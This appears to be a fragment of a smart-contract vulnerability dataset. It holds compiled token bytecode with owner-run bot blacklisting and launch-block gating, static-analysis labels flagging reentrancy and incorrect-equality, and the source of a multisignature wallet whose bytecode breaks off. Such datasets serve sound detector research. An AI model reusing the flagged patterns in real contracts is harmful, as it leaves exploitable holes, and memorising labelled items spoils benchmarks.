3ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600c81526020017f5352585f4c495645544553540000000000000000000000000000000000000000815250905090565b6000610ec8610ec1611872565b8484611cbe565b6001905092915050565b610eda611872565b73ffffffffffffffffffffffffffffffffffffffff16610ef8610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610f4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4590612f51565b60405180910390fd5b60005b81518110156110c557600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fa657610fa5612f71565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561103a5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061101957611018612f71565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110b25760016005600084848151811061105857611057612f71565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110bd90612fcf565b915050610f51565b5050565b6110d1611872565b73ffffffffffffffffffffffffffffffffffffffff166110ef610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614611145576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113c90612f51565b60405180910390fd5b600c60149054906101000a900460ff16611194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118b9061308a565b60405180910390fd5b6001600c60176101000a81548160ff02191690831515021790555042600d81905550565b6111c0611872565b73ffffffffffffffffffffffffffffffffffffffff166111de610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614611234576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122b90612f51565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611297611872565b73ffffffffffffffffffffffffffffffffffffffff166112b5610c9a565b73ffffffffffffffffffffffffffffffffffffffff161461130b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130290612f51565b60405180910390fd5b600c60149054906101000a900460ff161561135b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113529061311c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e39190613151565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561144a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061146e9190613151565b6040518363ffffffff1660e01b815260040161148b92919061317e565b6020604051808303816000875af11580156114aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ce9190613151565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff0219169083151502179055505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6116b8611872565b73ffffffffffffffffffffffffffffffffffffffff166116d6610c9a565b73ffffffffffffffffffffffffffffffffffffffff161461172c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172390612f51565b60405180910390fd5b600a811115611770576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176790613219565b60405180910390fd5b8060088190555050565b611782611872565b73ffffffffffffffffffffffffffffffffffffffff166117a0610c9a565b73ffffffffffffffffffffffffffffffffffffffff16146117f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ed90612f51565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185d906132ab565b60405180910390fd5b61186f816122bc565b50565b600033905090565b6001600c60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156118b2576118b1612bf1565b5b6040519080825280602002602001820160405280156118e05781602001602082028036833780820191505090505b50905030816000815181106118f8576118f7612f71565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561199f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c39190613151565b816001815181106119d7576119d6612f71565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a3e30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611af3565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611aa29594939291906133ce565b600060405180830381600087803b158015611abc57600080fd5b505af1158015611ad0573d6000803e3d6000fd5b50505050506000600c60166101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5a9061349a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bca9061352c565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611cb19190612b7e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d25906135be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9590613650565b60405180910390fd5b60008111611de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd8906136e2565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e659061379a565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f145750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f2d5750600c60159054906101000a900460ff16155b8015611fde5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611fdd5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b156121d857600c60179054906101000a900460ff16612032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202990613806565b60405180910390fd5b60019050600d54421415612099576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b60006120a430610bc1565b9050600c60169054906101000a900460ff161580156121115750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156121d65760008111156121d55761217060646121626005612154600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610bc1565b61238090919063ffffffff16565b6123fb90919063ffffffff16565b8111156121cb576121c860646121ba60056121ac600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610bc1565b61238090919063ffffffff16565b6123fb90919063ffffffff16565b90505b6121d48161187a565b5b5b505b6121e484848484612445565b50505050565b6000838311158290612232576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122299190612a2f565b60405180910390fd5b50600083856122419190613826565b9050809150509392505050565b6000600654821115612295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228c906138cc565b60405180910390fd5b600061229f61261c565b90506122b481846123fb90919063ffffffff16565b915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008083141561239357600090506123f5565b600082846123a191906138ec565b90508284826123b09190613975565b146123f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e790613a18565b60405180910390fd5b809150505b92915050565b600061243d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612647565b905092915050565b8080612454576124536126aa565b5b600080600080612463876126cc565b93509350935093506124bd84600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271b90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255283600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461276590919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061259e816127c3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125fb9190612b7e565b60405180910390a3505050508061261557612614612880565b5b5050505050565b600080600061262961288b565b9150915061264081836123fb90919063ffffffff16565b9250505090565b6000808311829061268e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126859190612a2f565b60405180910390fd5b506000838561269d9190613975565b9050809150509392505050565b6000600854116126b957600080fd5b6008546009819055506000600881905550565b6000806000806000806126e1876008546128ea565b9150915060006126ef61261c565b90506000806126ff8a858561293d565b9150915081818686985098509850985050505050509193509193565b600061275d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121ea565b905092915050565b60008082846127749190613a38565b9050838110156127b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b090613ada565b60405180910390fd5b8091505092915050565b60006127cd61261c565b905060006127e4828461238090919063ffffffff16565b905061283881600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461276590919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600954600881905550565b60008060006006549050600067016345785d8a000090506128bf67016345785d8a00006006546123fb90919063ffffffff16565b8210156128dd5760065467016345785d8a00009350935050506128e6565b81819350935050505b9091565b60008060006129156064612907868861238090919063ffffffff16565b6123fb90919063ffffffff16565b9050600061292c828761271b90919063ffffffff16565b905080829350935050509250929050565b6000806000612955848761238090919063ffffffff16565b9050600061296c858761238090919063ffffffff16565b90506000612983828461271b90919063ffffffff16565b9050828194509450505050935093915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156129d05780820151818401526020810190506129b5565b838111156129df576000848401525b50505050565b6000601f19601f8301169050919050565b6000612a0182612996565b612a0b81856129a1565b9350612a1b8185602086016129b2565b612a24816129e5565b840191505092915050565b60006020820190508181036000830152612a4981846129f6565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a9082612a65565b9050919050565b612aa081612a85565b8114612aab57600080fd5b50565b600081359050612abd81612a97565b92915050565b6000819050919050565b612ad681612ac3565b8114612ae157600080fd5b50565b600081359050612af381612acd565b92915050565b60008060408385031215612b1057612b0f612a5b565b5b6000612b1e85828601612aae565b9250506020612b2f85828601612ae4565b9150509250929050565b60008115159050919050565b612b4e81612b39565b82525050565b6000602082019050612b696000830184612b45565b92915050565b612b7881612ac3565b82525050565b6000602082019050612b936000830184612b6f565b92915050565b600080600060608486031215612bb257612bb1612a5b565b5b6000612bc086828701612aae565b9350506020612bd186828701612aae565b9250506040612be286828701612ae4565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c29826129e5565b810181811067ffffffffffffffff82111715612c4857612c47612bf1565b5b80604052505050565b6000612c5b612a51565b9050612c678282612c20565b919050565b600067ffffffffffffffff821115612c8757612c86612bf1565b5b602082029050602081019050919050565b600080fd5b6000612cb0612cab84612c6c565b612c51565b90508083825260208201905060208402830185811115612cd357612cd2612c98565b5b835b81811015612cfc5780612ce88882612aae565b845260208401935050602081019050612cd5565b5050509392505050565b600082601f830112612d1b57612d1a612bec565b5b8135612d2b848260208601612c9d565b91505092915050565b600060208284031215612d4a57612d49612a5b565b5b600082013567ffffffffffffffff811115612d6857612d67612a60565b5b612d7484828501612d06565b91505092915050565b600060208284031215612d9357612d92612a5b565b5b6000612da184828501612aae565b91505092915050565b6000612db582612a65565b9050919050565b612dc581612daa565b8114612dd057600080fd5b50565b600081359050612de281612dbc565b92915050565b600060208284031215612dfe57612dfd612a5b565b5b6000612e0c84828501612dd3565b91505092915050565b612e1e81612b39565b8114612e2957600080fd5b50565b600081359050612e3b81612e15565b92915050565b600060208284031215612e5757612e56612a5b565b5b6000612e6584828501612e2c565b91505092915050565b612e7781612a85565b82525050565b6000602082019050612e926000830184612e6e565b92915050565b60008060408385031215612eaf57612eae612a5b565b5b6000612ebd85828601612aae565b9250506020612ece85828601612aae565b9150509250929050565b600060208284031215612eee57612eed612a5b565b5b6000612efc84828501612ae4565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f3b6020836129a1565b9150612f4682612f05565b602082019050919050565b60006020820190508181036000830152612f6a81612f2e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612fda82612ac3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561300d5761300c612fa0565b5b600182019050919050565b7f436f6e7472616374206d75737420626520696e697469616c697a65642066697260008201527f7374000000000000000000000000000000000000000000000000000000000000602082015250565b60006130746022836129a1565b915061307f82613018565b604082019050919050565b600060208201905081810360008301526130a381613067565b9050919050565b7f436f6e74726163742068617320616c7265616479206265656e20696e6974696160008201527f6c697a6564000000000000000000000000000000000000000000000000000000602082015250565b60006131066025836129a1565b9150613111826130aa565b604082019050919050565b60006020820190508181036000830152613135816130f9565b9050919050565b60008151905061314b81612a97565b92915050565b60006020828403121561316757613166612a5b565b5b60006131758482850161313c565b91505092915050565b60006040820190506131936000830185612e6e565b6131a06020830184612e6e565b9392505050565b7f5465616d206665652063616e6e6f74206265206c6172676572207468616e203160008201527f3025000000000000000000000000000000000000000000000000000000000000602082015250565b60006132036022836129a1565b915061320e826131a7565b604082019050919050565b60006020820190508181036000830152613232816131f6565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006132956026836129a1565b91506132a082613239565b604082019050919050565b600060208201905081810360008301526132c481613288565b9050919050565b6000819050919050565b6000819050919050565b60006132fa6132f56132f0846132cb565b6132d5565b612ac3565b9050919050565b61330a816132df565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61334581612a85565b82525050565b6000613357838361333c565b60208301905092915050565b6000602082019050919050565b600061337b82613310565b613385818561331b565b93506133908361332c565b8060005b838110156133c15781516133a8888261334b565b97506133b383613363565b925050600181019050613394565b5085935050505092915050565b600060a0820190506133e36000830188612b6f565b6133f06020830187613301565b81810360408301526134028186613370565b90506134116060830185612e6e565b61341e6080830184612b6f565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006134846024836129a1565b915061348f82613428565b604082019050919050565b600060208201905081810360008301526134b381613477565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006135166022836129a1565b9150613521826134ba565b604082019050919050565b6000602082019050818103600083015261354581613509565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006135a86025836129a1565b91506135b38261354c565b604082019050919050565b600060208201905081810360008301526135d78161359b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061363a6023836129a1565b9150613645826135de565b604082019050919050565b600060208201905081810360008301526136698161362d565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136cc6029836129a1565b91506136d782613670565b604082019050919050565b600060208201905081810360008301526136fb816136bf565b9050919050565b7f596f7572206164647265737320686173206265656e206d61726b65642061732060008201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160208201527f707065616c20796f757220636173652e00000000000000000000000000000000604082015250565b60006137846050836129a1565b915061378f82613702565b606082019050919050565b600060208201905081810360008301526137b381613777565b9050919050565b7f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e600082015250565b60006137f06020836129a1565b91506137fb826137ba565b602082019050919050565b6000602082019050818103600083015261381f816137e3565b9050919050565b600061383182612ac3565b915061383c83612ac3565b92508282101561384f5761384e612fa0565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006138b6602a836129a1565b91506138c18261385a565b604082019050919050565b600060208201905081810360008301526138e5816138a9565b9050919050565b60006138f782612ac3565b915061390283612ac3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561393b5761393a612fa0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061398082612ac3565b915061398b83612ac3565b92508261399b5761399a613946565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a026021836129a1565b9150613a0d826139a6565b604082019050919050565b60006020820190508181036000830152613a31816139f5565b9050919050565b6000613a4382612ac3565b9150613a4e83612ac3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a8357613a82612fa0565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613ac4601b836129a1565b9150613acf82613a8e565b602082019050919050565b60006020820190508181036000830152613af381613ab7565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f1abc0f612d1cd3078566961ff464df804a91c6098dd32d8b0f484beb638ec764736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
532
0x67a57535b11445506a9e340662cd0c9755e5b1b4
pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="6d1e19080b0c03430a08021f0a082d0e02031e08031e141e43030819">[email&#160;protected]</a>> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610167578063173825d91461019b57806320ea8d86146101bc5780632f54bf6e146101d45780633411c81c14610209578063547415251461022d5780637065cb481461025e578063784547a71461027f5780638b51d13f146102975780639ace38c2146102af578063a0e67e2b1461036a578063a8abe69a146103cf578063b5dc40c3146103f4578063b77bf6001461040c578063ba51a6df14610421578063c01a8c8414610439578063c642747414610451578063d74f8edd146104ba578063dc8452cd146104cf578063e20056e6146104e4578063ee22610b1461050b575b600034111561016557604080513481529051600160a060020a033316917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561017357600080fd5b5061017f600435610523565b60408051600160a060020a039092168252519081900360200190f35b3480156101a757600080fd5b50610165600160a060020a036004351661054b565b3480156101c857600080fd5b506101656004356106d6565b3480156101e057600080fd5b506101f5600160a060020a03600435166107ac565b604080519115158252519081900360200190f35b34801561021557600080fd5b506101f5600435600160a060020a03602435166107c1565b34801561023957600080fd5b5061024c600435151560243515156107e1565b60408051918252519081900360200190f35b34801561026a57600080fd5b50610165600160a060020a036004351661084d565b34801561028b57600080fd5b506101f5600435610986565b3480156102a357600080fd5b5061024c600435610a0a565b3480156102bb57600080fd5b506102c7600435610a79565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032c578181015183820152602001610314565b50505050905090810190601f1680156103595780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561037657600080fd5b5061037f610b37565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103bb5781810151838201526020016103a3565b505050509050019250505060405180910390f35b3480156103db57600080fd5b5061037f60043560243560443515156064351515610b9a565b34801561040057600080fd5b5061037f600435610cd3565b34801561041857600080fd5b5061024c610e4c565b34801561042d57600080fd5b50610165600435610e52565b34801561044557600080fd5b50610165600435610ee5565b34801561045d57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261024c948235600160a060020a03169460248035953695946064949201919081908